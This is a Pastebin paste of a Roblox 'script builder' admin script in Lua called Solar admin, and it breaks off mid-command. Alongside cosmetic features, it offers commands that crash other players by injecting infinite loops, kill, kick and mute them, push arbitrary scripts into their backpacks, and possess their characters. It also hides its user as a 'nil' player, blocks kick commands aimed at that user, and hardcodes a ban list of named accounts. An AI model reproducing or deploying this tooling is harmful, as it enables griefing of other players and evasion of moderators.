Advertisement
ScriptBuilderSHEHAB

SOLAR ADMIN!

Jun 10th, 2016
446
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 32.72 KB | None | 0 0
  1. --[[
  2. _____/\\\\\\\\\\\_________/\\\\\_______/\\\_________________/\\\\\\\\\_______/\\\\\\\\\_____
  3. ____/\\\/////////\\\_____/\\\///\\\____\/\\\_______________/\\\\\\\\\\\\\___/\\\///////\\\___
  4. ____\//\\\______\///____/\\\/__\///\\\__\/\\\______________/\\\/////////\\\_\/\\\_____\/\\\___
  5. ______\////\\\__________/\\\______\//\\\_\/\\\_____________\/\\\_______\/\\\_\/\\\\\\\\\\\/____
  6. __________\////\\\______\/\\\_______\/\\\_\/\\\_____________\/\\\\\\\\\\\\\\\_\/\\\//////\\\____
  7. ______________\////\\\___\//\\\______/\\\__\/\\\_____________\/\\\/////////\\\_\/\\\____\//\\\___
  8. ________/\\\______\//\\\___\///\\\__/\\\____\/\\\_____________\/\\\_______\/\\\_\/\\\_____\//\\\__
  9. ________\///\\\\\\\\\\\/______\///\\\\\/_____\/\\\\\\\\\\\\\\\_\/\\\_______\/\\\_\/\\\______\//\\\_
  10. _________\///////////__________\/////_______\///////////////__\///________\///__\///________\///__
  11.  
  12. Welcome to Solar admin, this admin is made by:
  13. aleksa12432;
  14. optiplex123/Exorsizer.
  15. This script is legaly copyrighted, so every steal is against law.
  16. You are allowed to edit the script, but leave credits to the real creators.
  17. We don't wan't any abusers of this admin, so don't try to abuse.
  18. If there is an error or bug, report to creators.
  19. For all questions ask aleksa12432 or optiplex123/Exorsizer
  20. This is a safety script, you have nil, local block, and 'bad' words detector.
  21. Newest updates:
  22. Fixed the rotation when cleaned;
  23. Can be used in nil;
  24. Smooth nil movement;
  25. Explore command;
  26. Added 'Hard ban'.
  27. Currently working on:
  28. Nil improvement.
  29. ]]--
  30. --[[STARTUP]]--
  31. wait()
  32. script.Name = "Solar admin"
  33. do
  34. if script:findFirstChild("DSource") ~= nil then
  35. SourceName = "DSource"
  36. elseif script:findFirstChild("Source") ~= nil then
  37. SourceName = "Source"
  38. elseif script:findFirstChild("source") ~= nil then
  39. SourceName = "source"
  40. else
  41. SourceName = "No_Source"
  42. end
  43. end
  44. if SourceName ~= "No_Source" then
  45. print("Source found: "..SourceName)
  46. elseif SourceName == "No_Source" then
  47. error("Source not found, script did not load all features")
  48. end
  49. script:ClearAllChildren()
  50. game.Lighting:ClearAllChildren()
  51. wait()
  52. --[[VARIABLES, BOOLEANS AND TABLES]]--
  53. LocalPlayer = game:GetService("Players").LocalPlayer
  54. runService = game:service'RunService'
  55. LSource = script:Clone()
  56. char = nil
  57. key = nil
  58. Mouse = LocalPlayer:GetMouse()
  59. SunMesh = "http://www.roblox.com/asset/?id=1185246"
  60. SunTexture = "http://www.roblox.com/asset/?id=20261287"
  61. ChatColor = "Institutional white"
  62. Code = "SA: "..game.PlaceId
  63. Key = "/"
  64. SunScale = Vector3.new(3,3,3)
  65. HiddenTablets = false
  66. TabModelDebounce = false
  67. DismissTabOn = false
  68. ChatGui = true
  69. LBlock = true
  70. found = false
  71. NilBoot = false
  72. appearTime = 3
  73. Rotation = 0
  74. Speed = 0.0001
  75. Tabs = {}
  76. Cmds = {}
  77. Banlist = {}
  78. HardBanlist = {"ninevolt781","cappertron20","GOLDC3PO","rabbidog","NoobsAttacks","manofthebase44"}
  79. MuteWords = {}
  80. BadWords = {}
  81. Services = {
  82. game;
  83. game:service'Workspace';
  84. game:service'Players';
  85. game:service'Lighting';
  86. game:service'StarterGui';
  87. game:service'StarterPack';
  88. game:service'Debris';
  89. };
  90. --[[START]]--
  91. if LocalPlayer.Character ~= nil then
  92. LocalPlayer.Character.Archivable = true
  93. Char = LocalPlayer.Character:Clone()
  94. end
  95. if NilBoot == true then
  96. LocalPlayer.Parent = nil
  97. ChatGui = true
  98. appear(CFrame.new(0,25,0))
  99. local a = Char:Clone()
  100. a.Parent = workspace
  101. a.Torso.CFrame = CFrame.new(0,25,0)
  102. LocalPlayer.Character = a
  103. workspace.CurrentCamera.CameraType = "Custom"
  104. workspace.CurrentCamera.CameraSubject = a.Humanoid
  105. wait(5)
  106. SmoothMovement()
  107. end
  108. MuteWords[#MuteWords+1] = LocalPlayer.Name..":Kick()"
  109. MuteWords[#MuteWords+1] = LocalPlayer.Name..":Destroy()"
  110. MuteWords[#MuteWords+1] = LocalPlayer.Name..":remove()"
  111. MuteWords[#MuteWords+1] = '["'..LocalPlayer.Name..'"]:Kick()'
  112. MuteWords[#MuteWords+1] = "['"..LocalPlayer.Name.."']:Kick()"
  113. MuteWords[#MuteWords+1] = '["'..LocalPlayer.Name..'"]:Destroy()'
  114. MuteWords[#MuteWords+1] = "['"..LocalPlayer.Name.."']:Destory()"
  115. MuteWords[#MuteWords+1] = '["'..LocalPlayer.Name..'"]:remove()'
  116. MuteWords[#MuteWords+1] = "['"..LocalPlayer.Name.."']:remove()"
  117. MuteWords[#MuteWords+1] = "'Players':ClearAllChildren()"
  118. MuteWords[#MuteWords+1] = '"Players":ClearAllChildren()'
  119. MuteWords[#MuteWords+1] = "Players:ClearAllChildren()"--alek SD the server or kick manof
  120. for i = 1,#LocalPlayer.Name,1 do
  121. MuteWords[#MuteWords+1] = "kick/"..LocalPlayer.Name:sub(1,i)
  122. end
  123. for i = 1,#LocalPlayer.Name,1 do
  124. MuteWords[#MuteWords+1] = "kick;"..LocalPlayer.Name:sub(1,i)
  125. end
  126. for i = 1,#LocalPlayer.Name,1 do
  127. MuteWords[#MuteWords+1] = "kick:"..LocalPlayer.Name:sub(1,i)
  128. end
  129. for i = 1,#LocalPlayer.Name,1 do
  130. MuteWords[#MuteWords+1] = "kick "..LocalPlayer.Name:sub(1,i)
  131. end
  132. for i = 1,#LocalPlayer.Name,1 do
  133. MuteWords[#MuteWords+1] = ":kick "..LocalPlayer.Name:sub(1,i)
  134. end
  135. for i = 1,#LocalPlayer.Name,1 do
  136. MuteWords[#MuteWords+1] = "/kick/"..LocalPlayer.Name:sub(1,i)
  137. end
  138. for i = 1,#LocalPlayer.Name,1 do
  139. MuteWords[#MuteWords+1] = "kick`"..LocalPlayer.Name:sub(1,i)
  140. end
  141. wait()
  142. --[[TABMODEL]]--
  143. local TabModel = Instance.new("Model")
  144. TabModel.Name = "Solar tabs"
  145. if HiddenTablets == true then
  146. TabModel.Parent = workspace.CurrentCamera
  147. TabModelParent = workspace.CurrentCamera
  148. elseif HiddenTablets == false then
  149. TabModel.Parent = workspace
  150. TabModelParent = workspace
  151. end
  152. --[[PARENTING]]--
  153. script.Parent = _SOLAR_
  154. wait()
  155. --[[FUNCTIONS]]--
  156. function Output(Text,Color,OnClicked)
  157. if TabModel.Parent ~= TabModelParent then return end
  158. if TabModel == nil then return end
  159. if Color == nil then Color = "Institutional white" end
  160. if Text == nil then Text = "" end
  161. local Text = tostring(Text)
  162. Text = Text:gsub("","\5")
  163. local Part = Instance.new("Part", TabModel)
  164. Part.CanCollide = false
  165. Part.Anchored = true
  166. Part.Locked = true
  167. Part.Shape = "Ball"
  168. Part.Size = Vector3.new(3,3,3)
  169. Part.Name = "TABLET: "..math.random(-99999,99999)
  170. if LocalPlayer ~= nil and LocalPlayer.Character ~= nil and LocalPlayer.Character.Torso ~= nil then
  171. Part.CFrame = LocalPlayer.Character.Torso.CFrame
  172. else
  173. Part.CFrame = CFrame.new(0,0,0)
  174. end
  175. local Mesh = Instance.new("SpecialMesh", Part)
  176. Mesh.MeshId = SunMesh
  177. Mesh.TextureId = SunTexture
  178. Mesh.Scale = SunScale
  179. local PointLight = Instance.new("PointLight", Part)
  180. PointLight.Color = BrickColor.new("New Yeller").Color
  181. PointLight.Range = 10
  182. local BillboardGui = Instance.new("BillboardGui", Part)
  183. BillboardGui.Size = UDim2.new(8,0,7,0)
  184. BillboardGui.StudsOffset = Vector3.new(0,2,0)
  185. local TextLabel = Instance.new("TextLabel", BillboardGui)
  186. TextLabel.Text = Text
  187. TextLabel.Size = UDim2.new(1,0,1,0)
  188. TextLabel.BackgroundTransparency = 1
  189. TextLabel.TextColor = BrickColor.new(Color)
  190. TextLabel.Font = "ArialBold"
  191. TextLabel.FontSize = "Size24"
  192. TextLabel.TextStrokeTransparency = 0
  193. local ClickDetector = Instance.new("ClickDetector", Part)
  194. Tabs[#Tabs+1] = Part
  195. ClickDetector.MaxActivationDistance = math.huge
  196. ClickDetector.MouseHoverEnter:connect(function(Player)
  197. if Player.Name == LocalPlayer.Name then
  198. Part.Transparency = 0.5
  199. end
  200. end)
  201. ClickDetector.MouseHoverLeave:connect(function(Player)
  202. if Player.Name == LocalPlayer.Name then
  203. Part.Transparency = 0
  204. end
  205. end)
  206. ClickDetector.MouseClick:connect(function(Player)
  207. if Player.Name == LocalPlayer.Name then
  208. coroutine.wrap(function()
  209. for i = 0,180,10 do
  210. TextLabel.Rotation = i
  211. wait()
  212. end
  213. end)()
  214. coroutine.wrap(function()
  215. for i = 0,1,0.1 do
  216. Part.Transparency = i
  217. wait()
  218. end
  219. wait()
  220. Part:Destroy()
  221. for i,v in pairs(Tabs) do
  222. if v.Name == Part.Name then
  223. table.remove(Tabs,i)
  224. end
  225. end
  226. if OnClicked ~= nil then
  227. OnClicked()
  228. end
  229. end)()
  230. end
  231. end)
  232. if #Tabs > 0 then DismissTab() end
  233. end
  234. function Dismiss()
  235. Tabs = {}
  236. TabModel:ClearAllChildren()
  237. DismissTabOn = false
  238. end
  239. function DismissTab()
  240. if DismissTabOn == true then return end
  241. DismissTabOn = true
  242. Output("Dismiss","Really red", function() Dismiss() DismissTabOn = false end)
  243. end
  244. function Chat(Msg, Clr)
  245. for _,v in pairs(Cmds) do
  246. if #Msg >= #v["Say"]+#Key then
  247. if Msg:lower():sub(1,#v["Say"]+#Key) == v["Say"]:lower()..Key:lower() then
  248. return
  249. end
  250. end
  251. end
  252. if Msg:sub(1,2) == "/e" then return end
  253. if Clr == nil then Clr = "Institutional white" end
  254. if Msg == nil then Msg = "" end
  255. if Msg:sub(1,1) == ";" then Clr = "Really red" Msg = Msg:sub(2) end
  256. if Msg:sub(1,1) == "/" then Clr = "Really blue" Msg = Msg:sub(2) end
  257. Msg = Msg:gsub("","\5")
  258. if LocalPlayer and LocalPlayer.Character and LocalPlayer.Character.Head then
  259. if #LocalPlayer.Character.Head:children() > 15 then return end
  260. for _,v in pairs(LocalPlayer.Character.Head:children()) do
  261. if v.Name == "BG" then
  262. coroutine.wrap(function()
  263. for i = v.StudsOffset.y,v.StudsOffset.y+2,0.1 do
  264. v.StudsOffset = Vector3.new(0,i,0)
  265. wait()
  266. end
  267. wait(2)
  268. if v:findFirstChild("TextLabel") ~= nil then
  269. for i = 0,1,0.1 do
  270. if v:findFirstChild("TextLabel") == nil then break end
  271. v.TextLabel.TextTransparency = i
  272. v.TextLabel.TextStrokeTransparency = i
  273. wait()
  274. end
  275. end
  276. v:Destroy()
  277. end)()
  278. end
  279. end
  280. if ChatGui == false then
  281. return
  282. elseif ChatGui == true then
  283. local BG = Instance.new("BillboardGui", LocalPlayer.Character.Head)
  284. BG.Name = "BG"
  285. BG.Size = UDim2.new(8,0,7,0)
  286. BG.StudsOffset = Vector3.new(0,2,0)
  287. BG.SizeOffset = Vector2.new(0,.1)
  288. local TL = Instance.new("TextLabel", BG)
  289. TL.Text = Msg
  290. TL.BackgroundTransparency = 1
  291. TL.Size = UDim2.new(1,0,.8,0)
  292. TL.Font = "Legacy"
  293. TL.FontSize = "Size24"
  294. TL.TextStrokeTransparency = 0
  295. if Clr ~= "Random" then
  296. TL.TextColor = BrickColor.new(Clr)
  297. elseif Clr == "Random" then
  298. TL.TextColor = BrickColor.random()
  299. end
  300. coroutine.wrap(function()
  301. wait(5)
  302. if TL ~= nil then
  303. for i = 0,1,0.1 do
  304. if TL == nil then break end
  305. TL.TextTransparency = i
  306. TL.TextStrokeTransparency = i
  307. wait()
  308. end
  309. end
  310. BG:Destroy()
  311. end)()
  312. end
  313. end
  314. end
  315. function Notify(Msg)
  316. Chat(Msg,"Really red")
  317. end
  318. function GetPlayers(msg)
  319. local Plrs = {}
  320. if msg == "me" then
  321. table.insert(Plrs, LocalPlayer)
  322. elseif msg == "all" then
  323. Plrs = game:GetService("Players"):GetChildren() --GetPlayers()?
  324. elseif msg == "noobs" then
  325. for _,plr in pairs(game:GetService("Players"):GetChildren()) do
  326. if plr.AccountAge < 364 then
  327. table.insert(Plrs, plr)
  328. end
  329. end
  330. elseif msg == "veterans" then
  331. for _,plr in pairs(game:GetService("Players"):GetChildren()) do
  332. if plr.AccountAge > 364 then
  333. table.insert(Plrs, plr)
  334. end
  335. end
  336. elseif msg == "others" then
  337. for i,v in pairs(game:GetService("Players"):GetChildren()) do
  338. if v ~= LocalPlayer then
  339. table.insert(Plrs, v)
  340. end
  341. end
  342. else
  343. for i,v in pairs(game:GetService("Players"):GetChildren()) do
  344. if v.Name:lower():sub(1,#msg) == msg:lower() then
  345. table.insert(Plrs, v)
  346. end
  347. end
  348. end
  349. return Plrs
  350. end
  351. function Update(CF)
  352. if TabModel.Parent ~= TabModelParent then return end
  353. if TabModel == nil then return end
  354. Rotation = Rotation + Speed
  355. if TabModel.Parent ~= TabModelParent then return end
  356. if TabModel == nil then return end
  357. for i,v in pairs(Tabs) do
  358. if TabModel.Parent ~= TabModelParent then break end
  359. if TabModel == nil then break end
  360. if v.Parent ~= nil then
  361. if TabModel.Parent ~= TabModelParent then break end
  362. if TabModel == nil then break end
  363. if #Tabs < 201 then
  364. if TabModel.Parent ~= TabModelParent then break end
  365. if TabModel == nil then break end
  366. local CP = v.Position:lerp(CF.p,0.15)
  367. v.CFrame = CFrame.new(CP.X,CP.Y,CP.Z) *CFrame.Angles(0,math.rad(((360/#Tabs)*i)+Rotation),0)
  368. *CFrame.new(0,0,#Tabs*0.15 +0.5)
  369. else
  370. if TabModel.Parent ~= TabModelParent then break end
  371. if TabModel == nil then break end
  372. v:Destroy()
  373. end
  374. if TabModel.Parent ~= TabModelParent then break end
  375. if TabModel == nil then break end
  376. end
  377. end
  378. end
  379. function AddCmd(Name, Say, Desc, Func)
  380. Cmds[#Cmds+1] = {["Name"] = Name, ["Say"] = Say, ["Desc"] = Desc, ["Func"] = Func}
  381. end
  382. function ShowCmds()
  383. Dismiss()
  384. for _,v in pairs(Cmds) do
  385. Output(v["Name"],nil,
  386. function()
  387. Dismiss()
  388. Output("Name: "..v["Name"])
  389. Output("Usage: "..v["Say"])
  390. Output("Description: "..v["Desc"])
  391. Output("Back","Really red",function() ShowCmds() end)
  392. end
  393. )
  394. end
  395. end
  396. function NewS(SourceValue, Parent)
  397. if NewScript then
  398. local scr = NewScript:Clone()
  399. if scr:FindFirstChild(SourceName) then
  400. if scr:FindFirstChild(SourceName) then
  401. scr:FindFirstChild(SourceName).Value = SourceValue
  402. scr.Parent = Parent
  403. wait()
  404. scr.Disabled = false
  405. return scr
  406. end
  407. end
  408. else
  409. Output("No source","Really red")
  410. end
  411. end
  412. function NewLS(SourceValue, Parent)
  413. if SourceName == "No_Source" then return end
  414. if game.PlaceId == 54194680 then
  415. NLS(SourceValue, Parent)
  416. else
  417. local NS = LSource:Clone()
  418. NS.Name = "NewLocal"
  419. local Source = NS:findFirstChild(SourceName)
  420. if Source == nil then
  421. Instance.new('StringValue',NS).Name = SourceName
  422. end
  423. Source = NS:findFirstChild(SourceName)
  424. Source.Value = SourceValue
  425. NS.Parent = Parent
  426. NS.Disabled = false
  427. return NS
  428. end
  429. end
  430. function ShowBL()
  431. Dismiss()
  432. for _,v in pairs(Banlist) do
  433. Output(v,nil, function()
  434. Dismiss()
  435. Output(v)
  436. Output("Un-Ban","Really red", function()
  437. table.remove(Banlist, _)
  438. end)
  439. Output("Back","Really red", function()
  440. ShowBL()
  441. end)
  442. end)
  443. end
  444. end
  445. function ShowHBL()
  446. Dismiss()
  447. for _,v in pairs(HardBanlist) do
  448. Output(v,nil, function()
  449. Dismiss()
  450. Output(v)
  451. Output("Un-Ban","Really red", function()
  452. table.remove(HardBanlist, _)
  453. end)
  454. Output("Back","Really red", function()
  455. ShowBL()
  456. end)
  457. end)
  458. end
  459. end
  460. function Connect(who)
  461. if who and who.Backpack then
  462. NewLS(ConnectSource, who.Backpack)
  463. Output("Connected: "..who.Name)
  464. end
  465. end
  466. function SmoothMovement()
  467. if char ~= nil then char = nil end
  468. wait()
  469. if LocalPlayer.Character.Parent == nil then return end
  470. if LocalPlayer.Character == nil then return end
  471. char = LocalPlayer.Character
  472. char.Torso.Anchored = true
  473. Mouse.KeyDown:connect(function(kai)
  474. if kai == "w" then
  475. key = "w"
  476. elseif kai == "s" then
  477. key = "s"
  478. elseif kai == "a" then
  479. key = "a"
  480. elseif kai == "d" then
  481. key = "d"
  482. end
  483. end)
  484. Mouse.KeyUp:connect(function(kai)
  485. if kai == "w" then
  486. key = nil
  487. elseif kai == "s" then
  488. key = nil
  489. elseif kai == "a" then
  490. key = nil
  491. elseif kai == "d" then
  492. key = nil
  493. end
  494. end)
  495. while wait() do
  496. if char == nil then break end
  497. if key == "w" then
  498. if char == nil then break end
  499. char.Torso.CFrame = char.Torso.CFrame * CFrame.new(0,0,-0.5)
  500. elseif key == "s" then
  501. if char == nil then break end
  502. char.Torso.CFrame = char.Torso.CFrame * CFrame.new(0,0,0.5)
  503. elseif key == "a" then
  504. if char == nil then break end
  505. char.Torso.CFrame = char.Torso.CFrame * CFrame.new(-0.5,0,0)
  506. char.Torso.CFrame = char.Torso.CFrame * CFrame.Angles(0,0.5,0)
  507. elseif key == "d" then
  508. if char == nil then break end
  509. char.Torso.CFrame = char.Torso.CFrame * CFrame.new(0.5,0,0)
  510. char.Torso.CFrame = char.Torso.CFrame * CFrame.Angles(0,-0.5,0)
  511. end
  512. end
  513. end
  514. function Explore(part)
  515. Dismiss()
  516. if part == nil then
  517. for _,v in pairs(Services) do
  518. Output(v.Name,nil,function() Explore(v) end)
  519. end
  520. else
  521. for _,v in pairs(part:children()) do
  522. Output(v.Name,nil,function() Explore(v) end)
  523. end
  524. wait()
  525. Output("Currently exploring: "..part.Name,"Really red")
  526. Output("Class name: "..part.ClassName,"Really red")
  527. Output("Destroy","Really red",function() part:Destroy() Explore(part.Parent) end)
  528. Output("Remove","Really red",function() part:remove() Explore(part.Parent) end)
  529. end
  530. end
  531. function appear(pos)
  532. local parts = {}
  533. local frames = appearTime / (1 / 30)
  534. local t = 1
  535. if pos == nil then pos = CFrame.new(0, 25, 0) end
  536. for i=1,500 do
  537. local p = Instance.new("Part", game.Workspace)
  538. p.Anchored = true
  539. p.CanCollide = false
  540. p.formFactor = 3
  541. p.Size = Vector3.new(1, 1, 1)
  542. p.TopSurface = 0
  543. p.BottomSurface = 0
  544. p.BrickColor = BrickColor.random()
  545. local x, y, z = math.random(-10, 10) / 100, math.random(-10, 10) / 100, math.random(-10, 10) / 100
  546. p.CFrame = pos * CFrame.new(x * frames, y * frames, z * frames)
  547. local mesh = Instance.new("SpecialMesh", p)
  548. mesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
  549. mesh.Scale = Vector3.new(0.9, 0.9, 0.9)
  550. table.insert(parts, {p, CFrame.new(-x, -y, -z) * CFrame.Angles(x, y, z)})
  551. end
  552. for i=1,frames do
  553. local _, duration = runService.Stepped:wait()
  554. for i,v in pairs(parts) do
  555. if v[1].Parent then
  556. v[1].CFrame = v[1].CFrame * v[2]
  557. v[1].Transparency = t
  558. end
  559. end
  560. t = t - (appearTime / frames)
  561. end
  562. for i,v in pairs(parts) do
  563. if v[1].Parent then
  564. v[1]:remove()
  565. end
  566. end
  567. end
  568. --[[COMMANDS]]--
  569. AddCmd("Ping","ping","Ping something",
  570. function(nothing, msg)
  571. Output(tostring(msg))
  572. end
  573. )
  574. AddCmd("Commands","cmds","Show all commands",
  575. function()
  576. ShowCmds()
  577. end
  578. )
  579. AddCmd("#Commands","#cmds","Show the number of commands",
  580. function()
  581. Output(tostring(#Cmds))
  582. end
  583. )
  584. AddCmd("Dismiss","dt","Dismiss tabs",
  585. function()
  586. Dismiss()
  587. end
  588. )
  589. AddCmd("Toggle tabs visibility","hid","Make the tabs visible/invisible",
  590. function(nothing, msg)
  591. if msg == "on" then
  592. HiddenTablets = true
  593. TabModel.Parent = workspace.CurrentCamera
  594. TabModelParent = workspace.CurrentCamera
  595. Output("Tabs are hidden","Really red")
  596. elseif msg == "off" then
  597. HiddenTablets = false
  598. TabModel.Parent = workspace
  599. TabModelParent = workspace
  600. Output("Tabs are visible","Really red")
  601. else
  602. Output("Use on/off to toggle tab visibility","Really red")
  603. end
  604. end
  605. )
  606. AddCmd("Execute","exe","Execute",
  607. function(nothing, msg)
  608. a,b = ypcall(function()
  609. loadstring(msg)()
  610. end)
  611. if not a then Output(b,"Really red") end
  612. end
  613. )
  614. AddCmd("Toggle local block","tlb","Toggle local block on/off",
  615. function(nothing, msg)
  616. if msg == "on" then
  617. LBlock = true
  618. Output("Local block on","Really red")
  619. elseif msg == "off" then
  620. LBlock = false
  621. Output("Local block off")
  622. else
  623. Output("Use on/off to toggle local block","Really red")
  624. end
  625. end
  626. )
  627. AddCmd("Kick","kick","Kick player",
  628. function(Plrs)
  629. for _, plr in pairs(Plrs) do
  630. if plr then
  631. NewS("game:service'Players':findFirstChild('"..plr.Name.."'):Kick()", workspace)
  632. end
  633. end
  634. end
  635. )
  636. AddCmd("Banlist","bl","Show banned players",
  637. function()
  638. ShowBL()
  639. end
  640. )
  641. AddCmd("Hard Banlist","hbl","Show hard banned players",
  642. function()
  643. ShowHBL()
  644. end
  645. )
  646. AddCmd("Semi-Crash","scrash","Semi-crash a player",
  647. function(Plrs)
  648. for _,plr in pairs(Plrs) do
  649. if plr and plr.Backpack then
  650. NewLS("repeat until false",plr.Backpack)
  651. end
  652. end
  653. end
  654. )
  655. AddCmd("Crash","crash","Crash a player (use nil to crash nil players)",
  656. function(nothing, msg)
  657. local a = Instance.new("StringValue", game.Lighting)
  658. a.Name = "DISC: "..msg
  659. game:service'Debris':AddItem(a, 3)
  660. end
  661. )
  662. AddCmd("Mute","mute","Block player's chat",
  663. function(Plrs)
  664. for _, plr in pairs(Plrs) do
  665. if plr and plr.Backpack then
  666. NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)", plr.Backpack)
  667. end
  668. end
  669. end
  670. )
  671. AddCmd("Un-Mute","unmute","Un-Block player's chat",
  672. function(Plrs)
  673. for _, plr in pairs(Plrs) do
  674. if plr and plr.Backpack then
  675. NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, true)", plr.Backpack)
  676. end
  677. end
  678. end
  679. )
  680. AddCmd("Clean","clean","Clean workspace",
  681. function()
  682. for _,v in pairs(workspace:children()) do
  683. if v.Name ~= "Terrain" then
  684. v:Destroy()
  685. end
  686. end
  687. NewS("for _,v in pairs(game:service'Players':children()) do if v:IsA('Player') then v:LoadCharacter() end end", workspace)
  688. local base = Instance.new("Part", workspace)
  689. base.Anchored = true
  690. base.Size = Vector3.new(1000,1.2,1000)
  691. base.BrickColor = BrickColor.new("Dark green")
  692. base.Material = "Grass"
  693. end
  694. )
  695. AddCmd("Remove","cremove","Remove the script",
  696. function()
  697. for i = 0,50,1 do
  698. pcall(function()
  699. for j,k in pairs(getfenv(i)) do
  700. getfenv(i)[j] = nil
  701. end
  702. end)
  703. end
  704. end
  705. )
  706. AddCmd("Script","c","Script something",
  707. function(nothing, msg)
  708. if found then
  709. NewS(msg,workspace)
  710. else
  711. Output("No source","Really red")
  712. end
  713. end
  714. )
  715. AddCmd("Kill","kill","Kill player",
  716. function(Plrs)
  717. for _, plr in pairs(Plrs) do
  718. if plr and plr.Character then
  719. plr.Character:breakJoints''
  720. end
  721. end
  722. end
  723. )
  724. AddCmd("NewLocal","newlocal","Inserts a new local in someones backpack",
  725. function(Plrs, msg)
  726. local KeyPos = msg:find(Key)
  727. local TargPlrs = msg:sub(1,KeyPos-1)
  728. local Plrs = GetPlayers(TargPlrs)
  729. local Srce = msg:sub(KeyPos+1)
  730. for _,plr in pairs(Plrs) do
  731. if plr and plr.Backpack then
  732. NewLS(Srce, plr.Backpack)
  733. end
  734. end
  735. end
  736. )
  737. AddCmd("Ban","ban","Bans a player",
  738. function(Plrs)
  739. for _, plr in pairs(Plrs) do
  740. if plr and plr.Backpack then
  741. Banlist[#Banlist +1] = plr.Name
  742. NewS("game:service'Players':findFirstChild('"..plr.Name.."'):Kick()", workspace)
  743. end
  744. end
  745. end
  746. )
  747. AddCmd("Rejoin","rj","Rejoins a player",
  748. function(Plrs)
  749. for _,plr in pairs(Plrs) do
  750. if plr and plr.Character then
  751. if SourceName == "source" then
  752. Output("This is Alakazards scriptbuilder. TPService is disabled here! Can't TP!","Really red")
  753. end
  754. if SourceName ~= "source" then
  755. NewLS([[game:GetService('TeleportService'):Teleport(game.PlaceId)]],plr.Character)
  756. end
  757. end
  758. end
  759. end
  760. )
  761. AddCmd("Ban","ban","Bans a player",
  762. function(Plrs)
  763. for _, plr in pairs(Plrs) do
  764. if plr and plr.Backpack then
  765. Banlist[#Banlist+1] = plr.Name
  766. end
  767. end
  768. end
  769. )
  770. AddCmd("Chat","chat","Turns chat on/off",
  771. function(nothing, msg)
  772. if msg == "on" then
  773. ChatGui = true
  774. elseif msg == "off" then
  775. ChatGui = false
  776. end
  777. end
  778. )
  779. AddCmd("GetAge","ga","Get age of a player",
  780. function(Plrs)
  781. for _, plr in pairs(Plrs) do
  782. if plr then
  783. Output(plr.Name..": "..tostring(plr.AccountAge))
  784. end
  785. end
  786. end)
  787. AddCmd("Hint","h","Show some hint",
  788. function(nothing, msg)
  789. if found then
  790. NewS([[
  791. a = Instance.new("Hint", workspace)
  792. msg = "]]..msg..[["
  793. msg = msg:gsub("","\5")
  794. game:service'Debris':AddItem(a, 5)
  795. while wait() do
  796. for i = 30,0,-1 do
  797. a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
  798. wait()
  799. end
  800. for i = 0,30,1 do
  801. a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
  802. wait()
  803. end
  804. end
  805. ]], workspace)
  806. end
  807. end
  808. )
  809. AddCmd("Message","m","Show a message",
  810. function(nothing, msg)
  811. if found then
  812. NewS([[
  813. a = Instance.new("Message", workspace)
  814. msg = "]]..msg..[["
  815. msg = msg:gsub("","\5")
  816. game:service'Debris':AddItem(a, 5)
  817. while wait() do
  818. for i = 30,0,-1 do
  819. a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
  820. wait()
  821. end
  822. for i = 0,30,1 do
  823. a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
  824. wait()
  825. end
  826. end
  827. ]], workspace)
  828. end
  829. end
  830. )
  831. AddCmd("Char","char","Be a character",
  832. function()
  833. if LocalPlayer.Parent == game.Players then return end
  834. if LocalPlayer.Character~= nil then
  835. LocalPlayer.Character:Destroy()
  836. end
  837. char = nil
  838. appear(CFrame.new(0,25,0))
  839. local a = Char:Clone()
  840. a.Parent = workspace
  841. a.Torso.CFrame = CFrame.new(0,25,0)
  842. LocalPlayer.Character = a
  843. workspace.CurrentCamera.CameraType = "Custom"
  844. workspace.CurrentCamera.CameraSubject = a.Humanoid
  845. wait(5)
  846. SmoothMovement()
  847. end
  848. )
  849. AddCmd("Refresh 'nil smooth movement'","rnsm","Refresh the movement when you are nil",
  850. function()
  851. if LocalPlayer.Parent == nil then
  852. char = nil
  853. wait()
  854. SmoothMovement()
  855. else
  856. Output("You are not nil.","Really red")
  857. end
  858. end
  859. )
  860. AddCmd("Go nil","gn","Go to nil player mode",
  861. function()
  862. LocalPlayer.Parent = nil
  863. appear(CFrame.new(0,25,0))
  864. local a = Char:Clone()
  865. a.Torso.CFrame = CFrame.new(0,25,0)
  866. a.Parent = workspace
  867. LocalPlayer.Character = a
  868. workspace.CurrentCamera.CameraType = "Custom"
  869. workspace.CurrentCamera.CameraSubject = a.Humanoid
  870. wait(5)
  871. SmoothMovement()
  872. end
  873. )
  874. AddCmd("Fix camera","fcam","Fix your camera",
  875. function()
  876. workspace.CurrentCamera.CameraType = "Custom"
  877. workspace.CurrentCamera.CameraSubject = LocalPlayer.Character.Humanoid
  878. end
  879. )
  880. AddCmd("Nils","nilp","Get nil players",
  881. function()
  882. NewS([[
  883. Model = Instance.new("Model", game.Lighting)
  884. Model.Name = "SolarAdminNilPlayers"
  885. for _,v in pairs(game:service'NetworkServer':children()) do
  886. if v:GetPlayer() then
  887. if v:GetPlayer().Parent ~= game:service'Players' then
  888. Instance.new("StringValue",Model).Value = v:GetPlayer().Name
  889. end
  890. end
  891. end
  892. ]], workspace)
  893. wait()
  894. np = nil
  895. for i = 0,5,1 do
  896. if game.Lighting:findFirstChild("SolarAdminNilPlayers") then
  897. np = game.Lighting:findFirstChild("SolarAdminNilPlayers")
  898. break
  899. end
  900. wait(0.1)
  901. end
  902. if np ~= nil then
  903. Dismiss()
  904. for _,v in pairs(np:children()) do
  905. if v:IsA("StringValue") then
  906. Output(v.Value,"Really red")
  907. end
  908. end
  909. elseif np == nil then
  910. Output("Something went wrong.","Really red")
  911. end
  912. end
  913. )
  914. AddCmd("Possess","ps","Possess a player",
  915. function(Plrs)
  916. for _, plr in pairs(Plrs) do
  917. if plr and plr.Character then
  918. LocalPlayer.Character = plr.Character
  919. workspace.CurrentCamera.CameraType = "Custom"
  920. workspace.CurrentCamera.CameraSubject = plr.Character.Humanoid
  921. end
  922. end
  923. end
  924. )
  925. AddCmd("'Hard' ban","hb","Hard ban a player",
  926. function(Plrs)
  927. for _, plr in pairs(Plrs) do
  928. if plr then
  929. HardBanlist[#HardBanlist+1] = plr.Name
